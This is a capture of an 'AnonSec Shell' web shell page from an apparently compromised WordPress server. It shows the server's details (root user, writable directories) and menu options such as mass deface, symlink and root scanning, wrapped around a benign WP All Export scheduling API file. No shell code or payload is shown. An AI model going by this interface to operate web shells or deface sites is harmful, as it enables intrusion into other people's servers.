AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.133.136.137   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/wp-all-export/src/Scheduling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/wp-all-export/src/Scheduling/SchedulingApi.php
<?php

namespace Wpae\Scheduling;


use Wpae\Scheduling\Exception\SchedulingHttpException;

class SchedulingApi
{
    private $apiUrl;

    public function __construct($apiUrl)
    {
        $this->apiUrl = $apiUrl;
    }

    public function checkConnection()
    {
        if (is_multisite()) {
            $siteUrl = get_site_url(get_current_blog_id());
        } else {
            $siteUrl = get_site_url();
        }

        $pingBackUrl = $this->getApiUrl('connection') . '?url=' . urlencode($siteUrl);

        $response = wp_remote_request(
            $pingBackUrl,
            array(
                'method' => 'GET'
            )
        );

        if ($response instanceof \WP_Error) {
            return false;
        }

        if ($response['response']['code'] == 200) {
            return true;
        } else {
            return false;
        }
    }

    public function getSchedules($elementId, $elementType)
    {
        $response = wp_remote_request(

            $this->getApiUrl('schedules?forElement=' . $elementId .
                '&type=' . $elementType .
                '&endpoint=' . urlencode(get_site_url())),
            array(
                'method' => 'GET',
                'headers' => $this->getHeaders()
            )
        );

        if ($response instanceof \WP_Error) {
            return false;
        }

        return json_decode($response['body']);
    }

    public function getSchedule($scheduleId)
    {
        wp_remote_request(

            $this->getApiUrl('schedules/' . $scheduleId),
            array(
                'method' => 'GET',
                'headers' => $this->getHeaders()
            )
        );
    }

    public function createSchedule($scheduleData)
    {

        $response = wp_remote_request(
            $this->getApiUrl('schedules'),
            array(
                'method' => 'PUT',
                'headers' => $this->getHeaders(),
                'body' => json_encode($scheduleData)
            )
        );

        if ($response instanceof \WP_Error) {
            throw new SchedulingHttpException('There was a problem saving the schedule');
        }

        return $response;
    }

    public function deleteSchedule($remoteScheduleId)
    {

        wp_remote_request(
            $this->getApiUrl('schedules/' . $remoteScheduleId),
            array(
                'method' => 'DELETE',
                'headers' => $this->getHeaders()
            )
        );
    }

    public function disableSchedule($remoteScheduleId)
    {
        wp_remote_request(
            $this->getApiUrl('schedules/' . $remoteScheduleId . '/disable'),
            array(
                'method' => 'DELETE',
                'headers' => $this->getHeaders()
            )
        );
    }


    public function enableSchedule($scheduleId)
    {
        wp_remote_request(
            $this->getApiUrl('schedules/' . $scheduleId . '/enable'),
            array(
                'method' => 'POST',
                'headers' => $this->getHeaders()
            )
        );
    }


    public function updateSchedule($scheduleId, $scheduleTime)
    {

        $response = wp_remote_request(
            $this->getApiUrl('schedules/' . $scheduleId),
            array(
                'method' => 'POST',
                'headers' => $this->getHeaders(),
                'body' => json_encode($scheduleTime)
            ));

        if ($response instanceof \WP_Error) {
            throw new SchedulingHttpException('There was a problem saving the schedule');
        }

        return $response;
    }

    public function updateScheduleKey($remoteScheduleId, $newKey)
    {
        wp_remote_request(
            $this->getApiUrl('schedules/' . $remoteScheduleId . '/key'),
            array(
                'method' => 'POST',
                'headers' => $this->getHeaders(),
                'body' => json_encode(['key' => $newKey])

            )
        );
    }

    private function getHeaders()
    {

        $options = \PMXE_Plugin::getInstance()->getOption();

        if (!empty($options['scheduling_license'])) {
            return array(
                'Authorization' => 'License ' . \PMXE_Plugin::decode($options['scheduling_license'])
            );
        } else {
            //TODO: Throw custom exception
            throw new \Exception('No license present');
        }
    }

    /**
     * @return string
     */
    private function getApiUrl($resource)
    {
        return $this->apiUrl . '/' . $resource;
    }
}

Anon7 - 2022
AnonSec Team